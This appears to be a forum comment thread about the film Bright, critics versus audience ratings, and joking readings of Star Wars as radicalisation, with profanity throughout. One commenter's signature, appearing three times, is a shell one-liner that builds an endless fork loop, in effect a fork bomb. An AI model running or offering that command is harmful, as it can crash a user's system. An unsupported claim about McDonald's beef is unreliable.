Personally I look at RT, occasionally, but I pay attention only to user rating. To me movie critics have no value. I care very little for hollywood in general, and I seriously doubt that I could name 10 actors if someone put a gun to my head, and I only watch that which appeals to me. Movies such as Batman vs Superman do not, if it was that guy who did the other 3 batman movies (whatever his name is), I likely would have watched it, but the other actor, I couldn't care a lick for.
Anyway, rumbling, bottom line is that Movie Execs are delusional, stuck in 20th century, blaming their own failures on everybody else.
I loved SW:ANH as a child and as a young adult. Now that I am older, I can see how cheesy the dialog was and how campy the good vs. evil aspect of the film was.
Really? Because now the good vs evil aspect is crazy complicated compared to what it seemed back then.
Obi Wan dismembered and disfigured Luke's father and left him for dead, then lied to Luke and told him that Darth Vader had killed his dad. He spent years brainwashing Luke to hate the Empire, and training him to fight against it. And this included fighting against his own father, unbeknownst to Luke.
To turn this diabolical plot up to 11, Obi Wan lets Darth Vader kill him to further fuel Luke's hatred for his father, and then comes back from beyond the grave to continue to push Luke to kill his father. Luke didn't get much of a choice of this insane plot. All Obi Wan's fucking machinations.
Oh, yeah, he also gives Luke his dad's murder-stick, which he took from his dad after hacking his limbs off. He left out those little details now, didn't he?
Obi Wan back then looked like a saint. These days he looks like a psychopath.
Velociraptor = Distiraptor / Timeraptor
Remember, TNG was far less science fiction than even TOS, and far more of it was either social drama, social commentary, or even straight up action.
If you look at Orville as a 90s era Trek+GalaxyQuest fusion, it starts making more sense.
Personally, while still leaning towards comedy, I think Nobility goes farther towards actually including a Sci-Fi plot than either ST:D or Orville does, given that the plot development surrounding the Eugens, as well as the exploration of future human society seems more thought out (so far, at least) than the plots of either other series, the latter mostly being one shots with most character development surrounding the co and xo, and the former with a glacially paced plot better used in the pages of a book than a series intended for either Trek nerds, or mass market appeal.
ST:D's biggest problem was choosing to be a prequel to all former trek series sans Enterprise and then pushing in a lot of tech that leapfrogs the entire 90s era series. At least Enterprise tried to make most/all of its technology seem like predecessors to TNG, if not TOS (due to the primitive nature of the uniforms and sets from that series.) But Discovery just flaunts it all, very similiarly to the JJA Trek reboots.
Personally, both series have become dead to me.
It is a really great scene. I remember one of those Red Letter Media reviews (the ones that shit on the Star Wars prequels) that broken down how brilliant it was. The way its framed immediately tells you how there's this vastly more powerful evil empire and how hopelessly outmatched the rebels are, and this is done without extensive exposition (though the title crawl does give some information about this) or anything else. It makes the death star more impressive as well as you remember the really massive ship that doesn't even stack up to this thing.
I watch it. It made even less sense than Pitch Perfect. I had to fill in a LOT of gaps because nothing is said just implied at you. But I still enjoyed it. I don't think critics are out of touch with modern audiences. I think modern audiences are morons who only watch Transforms and Pirates of the Caribbean over and over again. Critics have an edge up in that they are strongly compelled to watch lot of varities of movies. Audiences are not. I got a screener for Three Billboards Outside Ebbing Missouri and the trailer looked just ok. But I went because not going has apparently put me on a blacklist because I so rarely get screening invites anymore. I had a great time. They didn't really address race but they didn't ignore it and as that's one of my biggest beefs that along with very strong acting and writing lead to a movie experience so satisfying I hadn't had it since Get Out.
If the movies I watched were at that quality rather than every Transformers movie I might be harsh on Bright too. And for what it's worth just because a critic says a movie is bad doesn't mean it won't sell doesn't mean people won't watch it. Bright is so bad apparently there's a featurette video to explain all the backstory they just imply at you.That's bad writing right there. I haven't been that confused since I read Gynocracy having no idea it was part of a series of books just being super annoyed they kept hardcore referencing things that made no sense.
Just another second banana
If something is plastered all over the advertising spectrum, I figure I've already seen the best parts and actually going to see the movie is probably a waste of time and money.
We recently saw "Loving Vincent." It got lukewarm reviews by the critics and I think their criticisms were valid. Nevertheless we enjoyed the movie a lot (and now own the Blu-Ray.) Critics don't always rate movies based on how I would enjoy them. That's not wrong, it's just different.
And sometimes they just don't get them. c.f. Roger Ebert's review of Napoleon Dynamite. (If you vote for me and all your wildest dreams will come true.)
Star Wars is the story about a farm boy getting radicalised by an ageing follower of an obscure religion and eventually taking part in a 9/11 style terrorist attack that destroys a military base.
https://decider.com/2015/12/11...
When we first meet Luke Skywalker, he's an orphaned farm boy with barely any friends, living with his Aunt and Uncle, and wanting to join the Galactic Academy like all the other guys his age. You see, Luke didn't become a space terrorist overnight, but he did exhibit signs that would make him a prime candidate for terrorist recruiters. The process of radicalization, as described by Anthony Stahelski in the Journal of Homeland Security, notes terrorists tend to:
* Come from families where the father is absent (check)
* Have difficulty forming relationships outside the home (check)
* Be attracted to groups offering acceptance and comradeship (checkmate)
Luke is just the kind of isolated disaffected young man that terror recruiters seek out.
Obi Wan - a religious fanatic with a history of looking for young boys to recruit and teach an extreme interpretation of the Force - is practically salivating when he stumbles upon Luke, knowing he's found a prime candidate for radicalization. Stahelski notes terror groups place a focus on depluralization, stripping away the recruit's membership from all groups and isolating them to increase their susceptibility to terrorist messaging. Within moments of meeting Luke, Obi-Wan tells Luke he must abandon his family and join him, going so far as telling a shocking lie that the Empire killed Luke's father, hoping to inspire Luke to a life of jihad.
Shocked and confused by this onslaught of terrorist brainwashing, Luke hurries home only to find the charred corpses of his aunt and uncle. The Empire's accidental harming of Luke's Aunt Beru and Uncle Owen can be directly compared to the casualties of President Obama's drone campaign, whose body count terrorists capitalize upon for recruitment. This is precisely what Obi-Wan does, preying upon Luke's emotional state to take him under his spell and towards a life of extremism.
Obi-Wan whisks Luke off to Mos Eisley using a Jedi mind trick to bypass security, knowing full well he likely appears on numerous terror no fly lists. After contracting a local drug smuggler for transportation, Obi-Wan and his newest Skywalker recruit are off. They are soon captured, however, and attempt an escape which culminates in a battle between Obi-Wan and Vader. During the fight, Obi-Wan notices Luke watching, and seeing an opportunity to fully inspire Luke to radicalize, says a Jedi prayer while committing suicide. Can you think of any other groups who try to inspire terrorism by yelling a prayer before a suicide attack?
Once Luke escapes and regroups with a terror sleeper cell, he joins them on an attack mission. As he nears his target, hearing Obi-Wan's words in his mind, Luke closes his eyes, says a prayer and bombs a space station, killing everyone aboard. Young Skywalker has proven himself a quick study in the ways of armed religious extremism.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
LOL. Awesome.
I can honestly say I have never looked at it from that point of view, but I'd have a hard time saying you were wrong.
In 1977 my dad took me to see Star Wars. I was 10, he was 36. I loved it (even though I thought Darth Vader was a robot) but he was so floored we just stayed in the theatre and watched it a second time. (I guess you could get away with that sort of thing back then.)
What people sometimes fail to realize today, is that in 1977 we had never seen anything like that before. Dogfights in space (and yeah, we could see the matte lines sometimes). Imperial Star Destroyers. In 1977 it was simply incredible. Jaw-droppingly incredible.
Today you can see that sort of thing in the theatre every few months - But not back in 1977.
Critics should probably follow suite and drop rating systems as well. You will gain a lot more insight on weather this is the sort of movie you will enjoy by spending a few minutes reading a critical review then by looking up % on rotten-tomatoes
You can make anyone sound like a total a-hole when you remove important context. :-D
Critics apparently liked "The Last Jedi" too. I didn't.
My favourite moment seen in a new light thanks to the prequels is in Empire where Luke is fighting Vader. Luke takes the high ground and Vader looks up at him, pausing for a moment as if remembering something...
Some other time his opponent had the higher ground...
Didn't end well...
Then Vader flings his lightsabre in Luke's direction like he can't think of anything better to do.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
we just stayed in the theatre and watched it a second time. (I guess you could get away with that sort of thing back then.)
They might ask you to step out into the hall, but, really, when was the last time you were asked for your ticket anywhere behind the main entrance? They don't even separate the screens to the left from the screens to the right anymore. Once you're in, you're in.
The success of this garbage only proves you have a shit audience Netflix. The disconnect between average USAmericans and their educated betters who review culture is ever widening. Public education is obviously for shit in Yankeetown.
How exactly does Netflix make money on this movie? They are not getting additional revenue from existing subscribers. Are people joining Netflix because of this movie?
Guy I worked with who was one of those types: *rants about how vapid and low brow Transformers was, lots of posturing to make it sound snobby*
Me: It's a live action version of a 1980s cartoon whose whole reason for being was to sell a line of toys. The fact that it has a plot that doesn't make adults barf and awesome special effects is pretty damn impressive.
It gets a little simpler when you mention that Luke's father is a mass murderer who personally killed at least a couple dozen children in cold blood immediately before Obi Wan, a law enforcement agent, stopped him.
Obi Wan was a wuss though. Leaving Anakin to slowly roast was cruel. He should have had mercy and finished him off.
What do you think the comments will say? Do you really think they'll be insightful? Come on!
Decades ago searching for something, I found a listing in a lefty coastal rag with the description of Wizard of Oz as "A young girl goes to a foreign land, kills the first person she meets, and sets out to kill again."
It's probably still out there, somewhere.
hawk
It was shit. The critics were right. The dialogue between Will Smith and Joel Edgerton was cringe-worthy. What was Joel Edgerton thinking ? At least he was hidden in his Orc mask.
I firmly believe Will Smith is the death knell for any movie these days.
I remember that! Something like it happened in Portland OR. Initial New Hope reviews were really harsh but after it had been out a few weeks, dominating the box office, the reviews changed to "...the best thing that's come down the pike in years!"
A few years later I was flipping channels and saw this same movie reviewer on one of the second tier stations. I guess Star Wars wasn't his only mistake.
What mistake?
bickerdyke
The sad part is that I read an interview with some terrorist once, and he said something that hit a note (paraphrasing):
"You in the West, in movies like Star Wars identify with the rebels. Well, we also identify with the rebels, fighting against an evil over-encompassing empire".
On that note there's a funny song called "The Palestinians Are Not The Same Thing As The Rebel Alliance, Jackass" by Atom and his Package. Now sadly unavailable on the Internet for some reason.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Fun modern take on Lord of the Rings universe in CSI crime genre.
Elves were up to their old ways, badass as expected without Legolas silliness. Orcs were redeeming themselves. Humans hearts were easily corrupted but redeemable.
The scene with a dragon flying over LA was cool too.
He was RIGHT! McDonalds in the USA managed to get a special rated beef formerly unfit for human consumption just to save some money. It's little known with the public but it is documented fact; the regulation adaptation required better cooking to compensate for manure (cow pie) IN THE MEAT. You will not get sick like you might with a rare steak so it's safer in the end... but I won't eat baked shit no matter what sauce and how much sugar you add to it. Ever since I learned that I stopped eating the shit.
Censorship FTW!
I think Bright was a movie which was mediocre at best. There were some real problems with it.
4K
I absolutely hate films shot in 4K on digital cameras like Red with insanely good quality that shows me close ups. Avatar was the worst... Sigourney Weavers skin is very nice in 1080p at a distance. But even Denise Richards playing Christmas Jones in James Bond at her prime should NEVER EVER EVER be seen at 4K in a close up. Holy shit... she is a goddess but when you magnify her skin to the point where you can go spelunking in her pores, it's just plain horrifying! There is something called film grain. It was great because it not only added something authentic to the filming, but it does a great job of hiding artifacts from chroma keying as well as distorting the image enough that people don't have to use more makeup than geisha to not look horrible. Netflix has a sick aversion to film grain simulation or lens filters. Thankfully, Will Smith looks pretty rough at any distance in that film. But the CG looked extremely super-imposed because delivering a 4K movie requires shooting and editing in 16K or using 72mm film and scanning 16K or everything just looks like shit.
Script
Closure to the story was shit. It basically just built the story up and up and up and then "We're out of time" and they tried to sort it all out in the 14 seconds they had left.
Human stupidity
Why in these films does everyone always have to be super-cool and by cool we consider them smart or they have to be absolutely stupid and unable to be reasoned with? People never seem to be able to have a discussion and think clearly. In this film, everyone was a bad guy... even the good guys. There was nothing in-between. It just felt wrong. It's like suggesting that humanity exists entirely without rationality or reason. This film should have had commercials for gambling websites interspersed. I think a great "Maria.com" product placement would have been amazing.
So... Let's kill the critique and think in terms of what really matters.
1) Since watching this film on Netflix... mainly because it was there. I have actually been renting films on Google Play since. I haven't even looked at what else is new.
2) With the exception of some animated stuff like Troll Hunters, I've avoided anything marked Netflix Originals. The reason is that pretty much everything I've tried watching from them is so completely American that it's fucking horrifying. Now I am American... at least as much as someone who left the U.S. at the age of 22 about 21 years ago can be. But I've become a great deal more European over the years. And Netflix is designed for a less sophisticated palette. You know... they cater for people who prefer not to think when they're entranced by the idiot box.
Most American TV is designed for people who say things like "I like to watch TV to let me brain have a rest." or "I use TV as a release" etc... in other words... American TV is generally for idiots. Smart people watch porn if they want to release something. Then they spend their lives stimulating their minds with something meaningful instead. Netflix Originals are designed for stupid.
So that said, after watching Bright, if my wife decided to cancel Netflix tomorrow, I don't really think it would concern me at all. It basically tells me that if this is the mixture that Netflix is banking on, I can stick to film rentals or audio books.
Would you ever tell anyone "Hey... Netflix has a great movie called Bright, you should try Netflix!" or would you extend your subscription on Netflix to see more content like this?
[...] the closest to Shadowrun I am ever going to see in my life time.
You're just trying to trick me into buying a Netflix subscription, you bastard! I'm on to your games!
I am a big scifi and fantasy fan, so I watched Bright when it came out. It is definitely not mainstream, but it has a feel that could turn it into a cult classic. It was well acted, well directed and the FX were top notch and the story was interesting. I am looking forward to their next big scifi show, Altered Carbon, which also looks to be some top shelf scifi. I hope this is the start of some of the really good scifi and fantasy stories out there getting the adaptations that they deserve.
If you disagree, please post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like
Obi Wan back then looked like a saint. These days he looks like a psychopath
Not to mention that spin job he gave the Jedi in ANH. Made them seem like the best thing short of snorting a pound of blow off a hookers ass. That and a bag of chips. Now we know what kind of arrogant dicks they where, and not really any better than the Sith. Well at least the Sith are honest about their goals.
I read at +2. If your post doesn't reach that level I will not see or respond to it.
I know I'm incredibly late with this comment, and nobody will probably ever read it, but...
Sample size, folks.
Why does none of the upvoted comments bring this up?
Rotten Tomatoes audience score is based on only 17,128 users.
On the Internet, that's NOTHING.
On IMDb, we're at 100,815 users now. That's 6x the size.
And there the score is only at 6.5.
As in, it only slightly passed mediocrity.
(Which, if you're a critic who watches films constantly, means it'll bore you to death.)
I'll extend your observation to the next moments, when Darth Vader is introduced.
He walks into the battle scene just after the shooting stops, black cape flowing through still-clearing smoke, grabs a rebel by his throat and lifts him at arm's length to question him, eventually snapping his neck with one hand.
You know instantly who the bad guy is, and that he is an enemy to be feared. All of this is well-established 2 minutes into the movie.
It was the perfect tribute to the old serials. Simplified story telling with stark good/evil contrasts that plug into well-known archetypes so you can immediately invest in the plot and root for the hero.
I've noticed that the lower the rating on Rotten Tomatoes, the more I enjoy the movie. A movie doesn't have to be a paradigm shifting/life altering experience to be an enjoyable night out, or in this case in.
You forgot to mention Obi Wan's previous partner, Qui Gon Jinn, was a loose cannon who played by his own rules. Despite the departments recommendation he got Anakin into the academy. No one would argue Qui was a damn good cop.
Holy shit, George Lucas created Isis.
You can actually make a case that Frank Herbert's "Dune" predicted the rise of Al Qaeda
http://www.volokh.com/posts/11...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"...kills the first person she meets, and teams up with three strangers to kill again."
even though I thought Darth Vader was a robot
Well you weren't far off. "He's more machine than man now."
I think The Princess Bride's cheesiness is tongue in cheek.
Siskel and Ebert were the only critics worth a shit.
Snowden and Manning are heroes.
I feel like the dialogue has been dumbed down further than usual in Bright. There is way too much swearing. And Will Smith is the same character he always is. I couldn't watch it.